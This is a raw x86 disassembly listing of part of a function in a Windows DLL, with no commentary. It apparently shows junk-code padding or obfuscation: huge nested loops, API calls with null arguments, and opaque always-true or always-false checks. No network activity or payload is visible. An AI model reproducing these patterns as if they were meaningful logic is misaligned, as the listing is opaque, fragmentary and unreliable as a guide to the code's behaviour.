cmp dword [ebp - 0xc54], 0x5e45
jle 0x100355de
and dword [ebp - 0x72c], 0
jmp 0x1003551e
mov eax, dword [ebp - 0x72c]
inc eax
mov dword [ebp - 0x72c], eax
cmp dword [ebp - 0x72c], 0x7ac
jge 0x100355de
and dword [ebp - 0x514], 0
jmp 0x10035544
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 0x6a02
jge 0x100355d9
and dword [ebp - 0x67c], 0
jmp 0x1003556a
mov eax, dword [ebp - 0x67c]
inc eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 0x369d
jge 0x100355d4
mov eax, dword [ebp - 0x72c]
imul eax, dword [ebp - 0x514]
add eax, dword [ebp - 0x67c]
cdq
mov dword [ebp - 0x1738], eax
mov dword [ebp - 0x1734], edx
push dword [ebp - 0x1734]
push dword [ebp - 0x1738]
lea ecx, [ebp - 0x2508]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x15dc], eax
mov ecx, dword [ebp - 0x15dc]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x2508]
call fcn.1001d534
jmp 0x1003555d
jmp 0x10035537
jmp 0x10035511
mov dword [ebp - 0x1d64], 1
cmp dword [ebp - 0xc54], 0x5c77
jge 0x10035600
push dword [ebp - 0x1abc]
call fcn.10067b63
pop ecx
mov dword [ebp - 0x1d6c], 1
mov dword [ebp - 0x1044], 0x3b2c
mov dword [ebp - 0x15e4], 0x1000a790
cmp dword [ebp - 0x1044], 0x3e19
jle 0x100356a3
and dword [ebp - 0x51c], 0
jmp 0x10035640
mov eax, dword [ebp - 0x51c]
inc eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 0x6f54
jge 0x100356a3
and dword [ebp - 0x7b4], 0
jmp 0x10035662
mov eax, dword [ebp - 0x7b4]
inc eax
mov dword [ebp - 0x7b4], eax
cmp dword [ebp - 0x7b4], 0x4fee
jge 0x100356a1
mov eax, dword [ebp - 0x51c]
mov ecx, dword [ebp - 0x7b4]
sar eax, cl
cdq
mov dword [ebp - 0x1744], eax
mov dword [ebp - 0x1740], edx
push dword [ebp - 0x1740]
push dword [ebp - 0x1744]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x10035655
jmp 0x10035633
mov dword [ebp - 0x1d74], 1
cmp dword [ebp - 0x1044], 0x3a42
jge 0x100356c9
mov edx, dword [ebp - 0x15e4]
mov ecx, 0x10082bb8
call fcn.100202a3
mov dword [ebp - 0x1d7c], 0x7597a61e
mov dword [ebp - 0x1d84], 1
mov dword [ebp - 0xc5c], 0x2c9c
mov dword [ebp - 0x15ec], 0x1000a7d4
cmp dword [ebp - 0xc5c], 0x2efd
jle 0x10035813
and dword [ebp - 0x524], 0
jmp 0x10035717
mov eax, dword [ebp - 0x524]
inc eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 0x35b4
jge 0x1003580b
and dword [ebp - 0x684], 0
jmp 0x1003573d
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 0x868
jge 0x10035806
and dword [ebp - 0x52c], 0
jmp 0x10035763
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 0x5744
jge 0x10035801
and dword [ebp - 0x734], 0
jmp 0x10035789
mov eax, dword [ebp - 0x734]
inc eax
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 0x60f6
jge 0x100357fc
mov eax, dword [ebp - 0x524]
imul eax, dword [ebp - 0x684]
mov ecx, dword [ebp - 0x52c]
imul ecx, dword [ebp - 0x734]
sar eax, cl
cdq
mov dword [ebp - 0x1750], eax
mov dword [ebp - 0x174c], edx
push dword [ebp - 0x174c]
push dword [ebp - 0x1750]
lea ecx, [ebp - 0x23b8]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x192c], eax
mov ecx, dword [ebp - 0x192c]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x23b8]
call fcn.1001d534
jmp 0x1003577c
jmp 0x10035756
jmp 0x10035730
jmp 0x1003570a
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
cmp dword [ebp - 0xc5c], 0x2a83
jge 0x1003582b
push dword [ebp - 0x15ec]
call fcn.10067b63
pop ecx
mov dword [ebp - 0x534], 0
jmp 0x10035844
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 2
jge 0x10035860
mov eax, dword [ebp - 0x534]
mov dword [ebp + eax*4 - 0x21c0], 4
jmp 0x10035837
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8b4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x8b4], eax
jmp 0x100354d3
mov dword [ebp - 0x40], 0
jmp 0x10035890
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x10035c3b
mov dword [ebp - 0x123c], 0x42d0
mov dword [ebp - 0x1a7c], 0x1000a810
cmp dword [ebp - 0x123c], 0x44a2
jle 0x1003596f
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
and dword [ebp - 0x68c], 0
jmp 0x100358dc
mov eax, dword [ebp - 0x68c]
inc eax
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 0x6a0f
jge 0x1003596f
and dword [ebp - 0x53c], 0
jmp 0x10035902
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0x690a
jge 0x1003596a
and dword [ebp - 0x78c], 0
jmp 0x10035924
mov eax, dword [ebp - 0x78c]
inc eax
mov dword [ebp - 0x78c], eax
cmp dword [ebp - 0x78c], 0x6521
jge 0x10035968
mov eax, dword [ebp - 0x68c]
imul eax, dword [ebp - 0x53c]
and eax, dword [ebp - 0x78c]
cdq
mov dword [ebp - 0x175c], eax
mov dword [ebp - 0x1758], edx
push dword [ebp - 0x1758]
push dword [ebp - 0x175c]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x10035917
jmp 0x100358f5
jmp 0x100358cf
mov dword [ebp - 0xc6c], 0x23e46920
cmp dword [ebp - 0x123c], 0x4243
jge 0x10035995
mov edx, dword [ebp - 0x1a7c]
mov ecx, 0x10082bb8
call fcn.100202a3
mov dword [ebp - 0x544], 0
jmp 0x100359ae
mov eax, dword [ebp - 0x544]
inc eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 1
jge 0x100359ca
mov eax, dword [ebp - 0x544]
mov dword [ebp + eax*4 - 0x1054], 0x9757a83
jmp 0x100359a1
mov byte [ebp - 0x1a9], 0
movzx eax, byte [ebp - 0x1a9]
test eax, eax
je 0x10035b07
mov dword [ebp - 0xc64], 0x5bf9
mov dword [ebp - 0x1934], 0x1000a870
cmp dword [ebp - 0xc64], 0x5fce
jle 0x10035ae7
push 0
push 0
call dword [sym.imp.USER32.dll_IsDialogMessageW]
and dword [ebp - 0x694], 0
jmp 0x10035a24
mov eax, dword [ebp - 0x694]
inc eax
mov dword [ebp - 0x694], eax
cmp dword [ebp - 0x694], 0x53f7
jge 0x10035ae7
and dword [ebp - 0x54c], 0
jmp 0x10035a4a
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0x6007
jge 0x10035ae2
and dword [ebp - 0x73c], 0
jmp 0x10035a70
mov eax, dword [ebp - 0x73c]
inc eax
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 0x665b
jge 0x10035add
mov eax, dword [ebp - 0x694]
mov ecx, dword [ebp - 0x54c]
sar eax, cl
mov ecx, dword [ebp - 0x73c]
shl eax, cl
cdq
mov dword [ebp - 0x1768], eax
mov dword [ebp - 0x1764], edx
push dword [ebp - 0x1764]
push dword [ebp - 0x1768]
lea ecx, [ebp - 0x24a8]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x15f4], eax
mov ecx, dword [ebp - 0x15f4]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x24a8]
call fcn.1001d534
jmp 0x10035a63
jmp 0x10035a3d
jmp 0x10035a17
push 0
call dword [sym.imp.USER32.dll_ShowCursor]
cmp dword [ebp - 0xc64], 0x5983
jge 0x10035b07
push dword [ebp - 0x1934]
call fcn.10067b63
pop ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x14fc]
mov dword [ebp - 0x1d8c], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x14fc]
mov dword [ebp - 0x104c], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x104c]
mov dword [ebp + eax*4 - 0x14f4], ecx
mov eax, dword [ebp - 0x104c]
sub eax, dword [ebp - 0xc6c]
sub eax, dword [ebp - 0x310]
jne 0x10035bb1
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x1d94], eax
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x1d9c], eax
xor eax, eax
test eax, eax
jne 0x10035b7b
mov eax, 0xeacb
test eax, eax
jne 0x10035b7b
and dword [ebp - 0x15fc], 0
jmp 0x10035b85
mov dword [ebp - 0x15fc], 1
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1da4], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x14f4]
add eax, 0xfe1f
cmp eax, 0xb56b
jg 0x10035bb1
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x216c], 0
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x1dac], eax
mov eax, dword [ebp - 0xc6c]
mov dword [ebp - 0x1db4], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x14fc]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x8b4]
cmp eax, dword [ebp - 0x310]
jne 0x10035bf4
mov dword [ebp - 0x1338], 1
jmp 0x10035bfb
and dword [ebp - 0x1338], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1054]
cmp dword [ebp - 0x1338], eax
jge 0x10035c1c
mov dword [ebp - 0xc74], 1
jmp 0x10035c23
and dword [ebp - 0xc74], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc74]
mov dword [ebp + eax - 0x1054], ecx
jmp 0x10035889
mov dword [ebp - 0xc7c], 0x6306
mov dword [ebp - 0x1b08], 0x1000a8c8
cmp dword [ebp - 0xc7c], 0x653e
jle 0x10035d5b
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetObjectA]
and dword [ebp - 0x7cc], 0
jmp 0x10035c81
mov eax, dword [ebp - 0x7cc]
inc eax
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 0x6c4f
jge 0x10035d47
and dword [ebp - 0x554], 0
jmp 0x10035ca7
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0x26d8
jge 0x10035d42
and dword [ebp - 0x69c], 0
jmp 0x10035ccd
mov eax, dword [ebp - 0x69c]
inc eax
mov dword [ebp - 0x69c], eax
cmp dword [ebp - 0x69c], 0x32cb
jge 0x10035d3d
and dword [ebp - 0x55c], 0
jmp 0x10035cef
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 0x30fa
jge 0x10035d3b
mov eax, dword [ebp - 0x554]
imul eax, dword [ebp - 0x69c]
mov ecx, dword [ebp - 0x55c]
shl eax, cl
or eax, dword [ebp - 0x7cc]
cdq
mov dword [ebp - 0x1774], eax
mov dword [ebp - 0x1770], edx
push dword [ebp - 0x1770]
push dword [ebp - 0x1774]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x10035ce2
jmp 0x10035cc0
jmp 0x10035c9a
jmp 0x10035c74
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov eax, 0xffff
mov word [ebp - 0x108], ax
cmp dword [ebp - 0xc7c], 0x6112
jge 0x10035d83
mov edx, dword [ebp - 0x1b08]
mov ecx, 0x10082bb8
call fcn.100202a3
mov dword [ebp - 0x80], 0xdb3ae355
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x1b88], 0xfffffffe
mov dword [ebp - 0x1b84], 0xfffffffe
mov dword [ebp - 0x1b80], 0xfffffffe
mov dword [ebp - 0x1b7c], 0xfffffffe
mov dword [ebp - 0x80], 0
jmp 0x10035dc9
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xe
jl 0x100363dd
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x794], 0
push 1
lea ecx, [ebp - 0x139c]
call fcn.1001d86d
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x564], 0
jmp 0x10035e11
mov eax, dword [ebp - 0x564]
inc eax
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 1
jge 0x10035e33
push dword [ebp - 0x564]
lea ecx, [ebp - 0x139c]
call fcn.1001d90b
mov dword [eax], 1
jmp 0x10035e04
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0x794], 0
jne 0x10035e57
mov eax, 0x513244d5
test eax, eax
jne 0x10035e57
and dword [ebp - 0x1604], 0
jmp 0x10035e61
mov dword [ebp - 0x1604], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1dbc], eax
cmp dword [ebp - 0x28], 0
jb 0x10035e7c
mov dword [ebp - 0x1244], 1
jmp 0x10035e83
and dword [ebp - 0x1244], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1244], eax
je 0x10035e9a
mov dword [ebp - 0xc84], 1
jmp 0x10035ea1
and dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0xc84], eax
jge 0x10035eb8
mov dword [ebp - 0x105c], 1
jmp 0x10035ebf
and dword [ebp - 0x105c], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x105c], eax
je 0x10035ed6
mov dword [ebp - 0xc8c], 1
jmp 0x10035edd
and dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0xc8c]
je 0x10035efb
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x10035efb
mov dword [ebp - 0x13f0], 1
jmp 0x10035f02
and dword [ebp - 0x13f0], 0
mov eax, dword [ebp - 0x80]
imul eax, dword [ebp - 0x13f0]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x68], eax
jg 0x10035f23
mov dword [ebp - 0xc94], 1
jmp 0x10035f2a
and dword [ebp - 0xc94], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xc94]
jle 0x10035f41
mov dword [ebp - 0x1064], 1
jmp 0x10035f48
and dword [ebp - 0x1064], 0
cmp dword [ebp - 0x1064], 0x6986d6d
jg 0x100361ce
mov dword [ebp - 0xc9c], 0x6c8a
mov dword [ebp - 0x160c], 0x1000a8e0
cmp dword [ebp - 0xc9c], 0x6df1
jle 0x10036082
and dword [ebp - 0x574], 0
jmp 0x10035f92
mov eax, dword [ebp - 0x574]
inc eax
mov dword [ebp - 0x574], eax
cmp dword [ebp - 0x574], 0x4503
jge 0x10036082
and dword [ebp - 0x744], 0
jmp 0x10035fb8
mov eax, dword [ebp - 0x744]
inc eax
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 0x67d9
jge 0x1003607d
and dword [ebp - 0x6a4], 0
jmp 0x10035fde
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 0x8ca
jge 0x10036078
and dword [ebp - 0x56c], 0
jmp 0x10036004
mov eax, dword [ebp - 0x56c]
inc eax
mov dword [ebp - 0x56c], eax
cmp dword [ebp - 0x56c], 0x350a
jge 0x10036073
mov eax, dword [ebp - 0x6a4]
add eax, dword [ebp - 0x56c]
and eax, dword [ebp - 0x744]
or eax, dword [ebp - 0x574]
cdq
mov dword [ebp - 0x1780], eax
mov dword [ebp - 0x177c], edx
push dword [ebp - 0x177c]
push dword [ebp - 0x1780]
lea ecx, [ebp - 0x23e8]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x193c], eax
mov ecx, dword [ebp - 0x193c]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x23e8]
call fcn.1001d534
jmp 0x10035ff7
jmp 0x10035fd1
jmp 0x10035fab
jmp 0x10035f85
mov dword [ebp - 0x854], 0x1213072
cmp dword [ebp - 0xc9c], 0x6b0a
jge 0x100360a4
push dword [ebp - 0x160c]
call fcn.10067b63
pop ecx
mov dword [ebp - 0x1a84], 0x4b15d3e9
mov dword [ebp - 0x68], 8
jmp 0x100360be
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xffffffe5
jle 0x100360de
mov eax, dword [ebp - 0x854]
mov dword [ebp - 0x854], eax
mov eax, dword [ebp - 0x854]
mov dword [ebp - 0x1a84], eax
jmp 0x100360b7
mov dword [ebp - 0x124c], 0x62ea
mov dword [ebp - 0x1614], 0x1000a938
cmp dword [ebp - 0x124c], 0x6488
jle 0x1003618d
and dword [ebp - 0x6ac], 0
jmp 0x10036118
mov eax, dword [ebp - 0x6ac]
inc eax
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 0x6209
jge 0x1003617b
and dword [ebp - 0x57c], 0
jmp 0x1003613a
mov eax, dword [ebp - 0x57c]
inc eax
mov dword [ebp - 0x57c], eax
cmp dword [ebp - 0x57c], 0x40dc
jge 0x10036179
mov eax, dword [ebp - 0x6ac]
mov ecx, dword [ebp - 0x57c]
shl eax, cl
cdq
mov dword [ebp - 0x178c], eax
mov dword [ebp - 0x1788], edx
push dword [ebp - 0x1788]
push dword [ebp - 0x178c]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x1003612d
jmp 0x1003610b
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov byte [ebp - 0x22a], 0
cmp dword [ebp - 0x124c], 0x626c
jge 0x100361b0
mov edx, dword [ebp - 0x1614]
mov ecx, 0x10082bb8
call fcn.100202a3
movzx eax, byte [ebp - 0x22a]
test eax, eax
je 0x100361c9
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
jmp 0x100363a6
mov dword [ebp - 0xcc4], 0xa2e71cc
mov dword [ebp - 0x1944], 0xfffffff6
mov dword [ebp - 0x68], 0
jmp 0x100361f2
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jg 0x10036256
mov dword [ebp - 0x28], 0
jmp 0x10036208
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jg 0x10036254
push dword [ebp - 0x68]
lea ecx, [ebp - 0x139c]
call fcn.1001d90b
mov esi, eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x139c]
call fcn.1001d90b
mov ecx, dword [esi]
mov dword [eax], ecx
push dword [ebp - 0x68]
lea ecx, [ebp - 0x139c]
call fcn.1001d90b
mov esi, eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x139c]
call fcn.1001d90b
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x10036201
jmp 0x100361eb
mov dword [ebp - 0x28], 0
jmp 0x10036266
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x12
jle 0x100363a6
mov dword [ebp - 0xcac], 0x91260e2e
imul eax, dword [ebp - 0x794], 0
cmp eax, dword [ebp - 0x80]
jl 0x10036292
mov dword [ebp - 0xca4], 1
jmp 0x10036299
and dword [ebp - 0xca4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1b88]
cmp dword [ebp - 0xca4], eax
je 0x100362c9
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1b88], 0
je 0x100362c9
mov dword [ebp - 0x106c], 1
jmp 0x100362d0
and dword [ebp - 0x106c], 0
mov eax, dword [ebp - 0xcac]
cmp dword [ebp - 0x106c], eax
jle 0x100362fa
cmp dword [ebp - 0x1944], 0
je 0x100362fa
push 4
pop eax
test eax, eax
je 0x100362fa
mov dword [ebp - 0x1340], 1
jmp 0x10036301
and dword [ebp - 0x1340], 0
mov eax, dword [ebp - 0xcac]
cmp eax, dword [ebp - 0x1340]
jle 0x10036321
cmp dword [ebp - 0x80], 0
je 0x10036321
mov dword [ebp - 0xcb4], 1
jmp 0x10036328
and dword [ebp - 0xcb4], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0xcb4], eax
jle 0x1003633f
mov dword [ebp - 0x1074], 1
jmp 0x10036346
and dword [ebp - 0x1074], 0
imul eax, dword [ebp - 0xcc4], 0x5e21
cmp eax, dword [ebp - 0x1074]
je 0x10036364
mov dword [ebp - 0xcbc], 1
jmp 0x1003636b
and dword [ebp - 0xcbc], 0
cmp dword [ebp - 0xcbc], 0xa4b44041
jne 0x10036383
mov dword [ebp - 0x1254], 1
jmp 0x1003638a
and dword [ebp - 0x1254], 0
mov eax, dword [ebp - 0x1254]
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0xcc4], 0
je 0x100363a1
jmp 0x100363a6
jmp 0x1003625f
push 0
lea ecx, [ebp - 0x139c]
call fcn.1001d90b
cmp dword [eax], 0
je 0x100363c9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x139c]
call fcn.1001d8ef
jmp 0x100363dd
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x139c]
call fcn.1001d8ef
jmp 0x10035dc2
or dword [ebp - 0x298], 0xffffffff
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x194c], 0
mov dword [ebp - 0x107c], 0x6026
mov dword [ebp - 0x161c], 0x1000a978
cmp dword [ebp - 0x107c], 0x604e
jle 0x100364f6
and dword [ebp - 0x58c], 0
jmp 0x10036432
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 0x1f88
jge 0x100364f6
and dword [ebp - 0x584], 0
jmp 0x10036458
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 0x4327
jge 0x100364f1
and dword [ebp - 0x6b4], 0
jmp 0x1003647e
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0x1e97
jge 0x100364ec
and dword [ebp - 0x74c], 0
jmp 0x100364a0
mov eax, dword [ebp - 0x74c]
inc eax
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x74c], 0x38f
jge 0x100364ea
mov eax, dword [ebp - 0x584]
imul eax, dword [ebp - 0x6b4]
add eax, dword [ebp - 0x58c]
and eax, dword [ebp - 0x74c]
cdq
mov dword [ebp - 0x1798], eax
mov dword [ebp - 0x1794], edx
push dword [ebp - 0x1794]
push dword [ebp - 0x1798]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x10036493
jmp 0x10036471
jmp 0x1003644b
jmp 0x10036425
mov dword [ebp - 0x594], 0
jmp 0x1003650f
mov eax, dword [ebp - 0x594]
inc eax
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 3
jge 0x1003652b
mov eax, dword [ebp - 0x594]
mov dword [ebp + eax*4 - 0x1b60], 0xba137262
jmp 0x10036502
cmp dword [ebp - 0x107c], 0x5c9b
jge 0x10036547
mov edx, dword [ebp - 0x161c]
mov ecx, 0x10082bb8
call fcn.100202a3
mov dword [ebp - 0x88], 0xffffffe3
jmp 0x10036560
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xfffffffb
jge 0x100368ad
mov dword [ebp - 0x2a0], 0xfffffff6
mov dword [ebp - 0xd04], 8
cmp dword [ebp - 0x88], 0
je 0x100367b3
mov dword [ebp - 0x6bc], 0x23dcdf5e
mov dword [ebp - 0x8f4], 0x8ee8
mov dword [ebp - 0xcec], 0xa59c3cba
cmp dword [ebp - 0x6bc], 0
je 0x10036697
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x1dc4], eax
cmp dword [ebp - 0x8f4], 0
jne 0x100365e5
mov eax, dword [ebp - 0x6bc]
cmp dword [ebp - 0x2a0], eax
jle 0x100365e5
and dword [ebp - 0xccc], 0
jmp 0x100365ef
mov dword [ebp - 0xccc], 1
cmp dword [ebp - 0xccc], 0xc089ced6
jbe 0x10036607
mov dword [ebp - 0x13a0], 1
jmp 0x1003660e
and dword [ebp - 0x13a0], 0
cmp dword [ebp - 0x13a0], 0xffffffff
jb 0x10036629
cmp dword [ebp - 0x8f4], 0
jne 0x10036629
and dword [ebp - 0xcd4], 0
jmp 0x10036633
mov dword [ebp - 0xcd4], 1
mov eax, dword [ebp - 0x8f4]
cmp dword [ebp - 0xcd4], eax
jl 0x1003664d
mov dword [ebp - 0x1084], 1
jmp 0x10036654
and dword [ebp - 0x1084], 0
mov eax, dword [ebp - 0x1084]
inc eax
cmp eax, dword [ebp - 0x6bc]
jge 0x1003666f
mov dword [ebp - 0xcdc], 1
jmp 0x10036676
and dword [ebp - 0xcdc], 0
mov eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0xcdc], eax
jge 0x10036697
push 4
pop eax
test eax, eax
je 0x10036697
mov dword [ebp - 0x1ac4], 1
jmp 0x1003669e
and dword [ebp - 0x1ac4], 0
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x1dcc], eax
cmp dword [ebp - 0x2a0], 0
jle 0x100366bf
mov dword [ebp - 0x125c], 1
jmp 0x100366c6
and dword [ebp - 0x125c], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x125c], eax
jne 0x100366e0
mov dword [ebp - 0x85c], 1
jmp 0x100366e7
and dword [ebp - 0x85c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x85c]
mov dword [ebp + eax - 0x1b60], ecx
mov eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0x85c], eax
jg 0x10036714
mov dword [ebp - 0xce4], 1
jmp 0x1003671b
and dword [ebp - 0xce4], 0
imul eax, dword [ebp - 0xce4], 0x1cf6
cmp dword [ebp - 0x88], eax
jne 0x10036739
mov dword [ebp - 0x108c], 1
jmp 0x10036740
and dword [ebp - 0x108c], 0
mov eax, dword [ebp - 0x108c]
mov dword [ebp - 0xcec], eax
mov eax, dword [ebp - 0xcec]
mov dword [ebp - 0x1dd4], eax
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x1ddc], eax
cmp dword [ebp - 0x2a0], 0x6ffa942f
je 0x1003677c
mov dword [ebp - 0x1348], 1
jmp 0x10036783
and dword [ebp - 0x1348], 0
cmp dword [ebp - 0x1348], 0x2a6dfe16
jg 0x1003679b
mov dword [ebp - 0xcf4], 1
jmp 0x100367a2
and dword [ebp - 0xcf4], 0
mov eax, dword [ebp - 0xcf4]
mov dword [ebp - 0xd04], eax
jmp 0x100368a8
mov dword [ebp - 0x59c], 0x9bb5
cmp dword [ebp - 0x88], 0xc438
jle 0x100367d5
mov dword [ebp - 0x1094], 1
jmp 0x100367dc
and dword [ebp - 0x1094], 0
mov eax, dword [ebp - 0x59c]
cmp dword [ebp - 0x1094], eax
je 0x100367f6
mov dword [ebp - 0x1264], 1
jmp 0x100367fd
and dword [ebp - 0x1264], 0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xcfc], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xcfc]
mov dword [ebp + eax - 0x1b60], ecx
mov eax, dword [ebp - 0xcfc]
imul eax, dword [ebp - 0x1264]
cmp eax, dword [ebp - 0x59c]
je 0x1003683d
mov dword [ebp - 0x1624], 1
jmp 0x10036844
and dword [ebp - 0x1624], 0
mov eax, dword [ebp - 0x59c]
mov dword [ebp - 0x1de4], eax
mov eax, dword [ebp - 0x59c]
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x1b60]
add ecx, dword [ebp - 0x88]
add ecx, dword [ebp - 0xd04]
sub eax, ecx
cmp eax, 0x40613544
jle 0x10036883
mov dword [ebp - 0x109c], 1
jmp 0x1003688a
and dword [ebp - 0x109c], 0
mov eax, dword [ebp - 0x109c]
mov dword [ebp - 0x194c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1b60], 0
je 0x100368a8
jmp 0x100368ad
jmp 0x10036553
cmp dword [ebp + 0x10], 0
jbe 0x10036996
mov dword [ebp - 0x180], 0xfffffffa
mov dword [ebp - 0x7bc], 0
jmp 0x100368da
mov eax, dword [ebp - 0x7bc]
inc eax
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 4
jge 0x100368f6
mov eax, dword [ebp - 0x7bc]
mov dword [ebp + eax*4 - 0x2120], 1
jmp 0x100368cd
mov dword [ebp - 0x180], 0
jmp 0x1003690f
mov eax, dword [ebp - 0x180]
dec eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0xffffffee
jge 0x1003692f
mov dword [ebp - 0x162c], 0xfffffff7
cmp dword [ebp - 0x162c], 0
